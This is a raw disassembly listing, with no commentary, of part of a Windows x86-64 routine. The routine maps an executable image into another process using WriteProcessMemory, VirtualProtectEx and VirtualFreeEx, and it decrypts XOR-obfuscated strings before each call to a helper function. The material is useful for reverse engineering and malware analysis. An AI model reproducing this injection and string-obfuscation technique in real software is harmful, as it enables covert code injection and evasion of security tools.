mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x320], ymm1
vzeroupper
call fcn.14005e660
jmp 0x1400607d2
xor edx, edx
mov r8d, 0x1400000
mov rcx, r12
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rbp + 0x28]
mov r9d, 0x1000
mov r8, r12
mov qword [rsp + 0x20], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14005fcaa
movabs rax, 0x8bcf058644cbdf72
lea rcx, [rbp + 0x140]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x140], rax
movabs rax, 0xb915dc60972ebc1c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x148], rax
movabs rax, 0x5ec27adf7595a384
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x150], rax
movabs rax, 0x9c46ec46007bee91
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x548], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x550], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x558], rax
vmovdqu ymm0, ymmword [rbp + 0x540]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
vmovdqa ymmword [rbp + 0x140], ymm1
vzeroupper
call fcn.14005e660
movzx r12d, word [r13 + 0x14]
xor r9d, r9d
movzx ecx, word [r13 + 6]
add r12, 0x18
add r12, r13
mov dword [rbp + 0x10], r9d
test cx, cx
je 0x14005ffe4
movabs r10, 0xaa8828a066fcec0b
movabs r11, 0xc3fb38aa69f6ec75
nop
cmp dword [r12 + 8], 0
movabs rax, 0xaa884bac78eaec0b
je 0x14005ffc8
mov qword [rbp + 8], rax
lea r8, [rbp + 0xc0]
mov rax, qword [rbp + 8]
sub r8, r12
mov qword [rbp + 0xc0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x3d0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x3d8], rax
mov rax, r12
movdqa xmm0, xmmword [rbp + 0x3d0]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xc0], xmm0
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14005fd73
inc rax
test ecx, ecx
jne 0x14005fd60
test edx, edx
je 0x14005fdfb
mov qword [rbp + 8], r10
lea r8, [rbp + 0xd0]
mov rax, qword [rbp + 8]
sub r8, r12
mov qword [rbp + 0xd0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd8], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
movdqa xmm0, xmmword [rbp + 0xd0]
mov qword [rbp + 0x3a8], rax
mov rax, r12
xorps xmm0, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0xd0], xmm0
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14005fdf3
inc rax
test ecx, ecx
jne 0x14005fde0
test edx, edx
jne 0x14005ffc8
mov qword [rbp + 8], r11
lea rcx, [rbp + 0x160]
mov rax, qword [rbp + 8]
mov rdx, r12
mov qword [rbp + 0x160], rax
movabs rax, 0xfc13db7dd34dfb48
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x168], rax
movabs rax, 0x1b8a50c17586a08a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x170], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x178], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x560], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x568], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x570], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x578], rax
vmovdqu ymm0, ymmword [rbp + 0x560]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x160], ymm1
vzeroupper
call fcn.14005e660
mov edx, dword [r12 + 0xc]
mov rcx, rdi
add rdx, qword [rbp + 0x28]
mov r9d, dword [r12 + 8]
mov r8, qword [rbp]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14005ffb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, r12
movabs rax, 0xc6eb6bbb2df7ff66
mov qword [rbp + 8], rax
movabs rax, 0xed029e7dd61ffd43
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x120], rcx
mov qword [rbp + 8], rax
movabs rax, 0x3bb02988349ea08e
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x128], rcx
mov qword [rbp + 8], rax
movabs rax, 0x9c46ec462a1bd2e0
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x130], rcx
lea rcx, [rbp + 0x120]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x138], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x580], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x588], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x590], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x598], rax
vmovdqu ymm0, ymmword [rbp + 0x580]
vpxor ymm1, ymm0, ymmword [rbp + 0x120]
vmovdqa ymmword [rbp + 0x120], ymm1
vzeroupper
call fcn.14005e660
mov r9d, dword [rbp + 0x10]
movabs r11, 0xc3fb38aa69f6ec75
movabs r10, 0xaa8828a066fcec0b
movzx eax, word [r13 + 6]
inc r9d
add r12, 0x28
mov dword [rbp + 0x10], r9d
cmp r9d, eax
jne 0x14005fce0
movzx ecx, ax
movzx eax, word [r13 + 0x14]
xor edx, edx
add r13, 0x18
mov dword [rbp + 0x10], edx
add r13, rax
test cx, cx
mov rcx, qword [rbp + 0x360]
je 0x140060285
lea r9d, [rdx + 0x20]
nop dword [rax]
mov r8d, dword [r13 + 8]
test r8d, r8d
je 0x140060270
mov eax, dword [r13 + 0x24]
mov dword [rbp + 0x308], 0
test eax, 0x80000000
jbe 0x14006003a
mov r12d, 4
jmp 0x140060049
test eax, 0x20000000
mov r12d, 2
cmova r12d, r9d
mov edx, dword [r13 + 0xc]
lea rax, [rbp + 0x308]
add rdx, qword [rbp + 0x28]
mov r9d, r12d
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14006012b
movabs rax, 0x8ae624a67efafb56
lea rcx, [rbp + 0x100]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x100], rax
movabs rax, 0xf8418f6b854def03
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x108], rax
movabs rax, 0x1b8a50f578d5ef94
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x110], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x118], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5a8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5b0], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5b8], rax
vmovdqu ymm0, ymmword [rbp + 0x5a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x100], ymm1
jmp 0x140060252
movabs rcx, 0x707c16242e8002a
movabs rax, 0xcffb6bf546d0df63
mov qword [rbp + 8], rax
movabs rdx, 0x3e01cdc362ada899
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xea44db609904e845
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x6fef298d609fa1c7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x961e8069724dcbf0
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x460], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x468], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x470], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x478], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x480], rax
mov qword [rbp + 8], rcx
lea rcx, [rbp + 0x1c0]
mov rax, qword [rbp + 8]
movdqa xmm2, xmmword [rbp + 0x1e0]
vmovdqu ymm0, ymmword [rbp + 0x460]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c0]
mov qword [rbp + 0x488], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x480]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqa xmmword [rbp + 0x1e0], xmm2
mov rdx, r13
mov r8d, r12d
vzeroupper
call fcn.14005e660
mov edx, dword [rbp + 0x10]
mov r9d, reloc.WLDAP32.dll_Ordinal_32
mov rcx, qword [rbp + 0x360]
movzx eax, word [rcx + 6]
inc edx
add r13, 0x28
mov dword [rbp + 0x10], edx
cmp edx, eax
jne 0x140060010
movzx eax, word [rcx + 0x14]
mov r9d, 2
mov rdx, qword [rbp + 0x28]
mov dword [rbp + 0x304], 0
mov r8d, dword [rax + rcx + 0x24]
lea rax, [rbp + 0x304]
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r12, qword [rbp + 0x18]
mov r9d, 0x1000
mov r8, qword [rbp]
mov rdx, r12
mov rcx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs r13, 0x90cf058644cbdf72
test eax, eax
jne 0x1400603a9
mov qword [rbp + 8], r13
lea rcx, [rbp + 0xe0]
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe0], rax
movabs rax, 0xfa418f29980cdf06
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe8], rax
movabs rax, 0x7ee2298d6691aa8b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf0], rax
movabs rax, 0x9c4c89283d5dc6bc
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5c0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5c8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5d0], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5d8], rax
vmovdqu ymm0, ymmword [rbp + 0x5c0]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0xe0], ymm1
vzeroupper
call fcn.14005e660
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
movabs rcx, 0xeb418f29980cff06
test eax, eax
jne 0x1400604ec
mov qword [rbp + 8], r13
movabs r12, 0x3e01cdc362ada899
mov rax, qword [rbp + 8]
movabs r13, 0x707c16242e8002a
mov qword [rbp + 0x60], rax
mov qword [rbp + 8], rcx
lea rcx, [rbp + 0x60]
mov rax, qword [rbp + 8]
mov qword [rbp + 0x68], rax
movabs rax, 0x68aa3fde7595a382
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x70], rax
movabs rax, 0xf8298f6c3e52cfb8
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x78], rax
movabs rax, 0x4773a2ae07c088fc
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x80], rax
movabs rax, 0x707c16242e80020
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x88], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4a0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4a8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4b0], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4b8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
movdqa xmm2, xmmword [rbp + 0x80]
vmovdqu ymm0, ymmword [rbp + 0x4a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
mov qword [rbp + 0x4c8], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x4c0]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqa xmmword [rbp + 0x80], xmm2
vzeroupper
call fcn.14005e660
jmp 0x140060500
movabs r13, 0x707c16242e8002a
movabs r12, 0x3e01cdc362ada899
mov rdx, qword [rbp + 0x20]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x140060638
movabs rax, 0x90cf058644cbdf72
lea rcx, [rbp + 0x60]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x60], rax
movabs rax, 0xeb418f29980cff06
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x68], rax
movabs rax, 0x76aa3fde7595a382
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x70], rax
movabs rax, 0xf8668b223b4edab1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x78], rax
movabs rax, 0x516ca8ae42ccdcf8
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x80], rax
movabs rax, 0x707c16242e27958
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x88], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x320], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x328], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x330], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x338], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x340], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
movdqa xmm2, xmmword [rbp + 0x80]
vmovdqu ymm0, ymmword [rbp + 0x320]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
mov qword [rbp + 0x348], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x340]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqa xmmword [rbp + 0x80], xmm2
vzeroupper
call fcn.14005e660
mov al, 1
jmp 0x1400607d4
movabs rax, 0xcbe56ba864f6ec72
lea rcx, [rbp + 0x320]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x320], rax
movabs rax, 0xed11db699804ec56
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x328], rax
movabs rax, 0x1b8a5aad14f0c595
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x330], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x338], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x360], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x368], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x370], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x378], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x320], ymm1
vzeroupper
call fcn.14005e660
mov rdx, qword [rbp + 0x28]
jmp 0x14005f3be
movabs rax, 0x8afb38aa69f6ec75
lea rcx, [rbp + 0x320]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x320], rax
movabs rax, 0xb5059e66850cee45
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x328], rax
movabs rax, 0x74e97ad97d88aac7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x330], rax
movabs rax, 0x9c4c88697204cfb4
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x338], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x360], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x368], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x370], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov edx, dword [rbp + 0x300]
mov qword [rbp + 0x378], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x320], ymm1
vzeroupper
call fcn.14005e660
xor al, al
mov rcx, qword [rbp + 0x5e0]
xor rcx, rsp
call fcn.1400c3380
mov rbx, qword [rsp + 0x6a0]
add rsp, 0x650
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret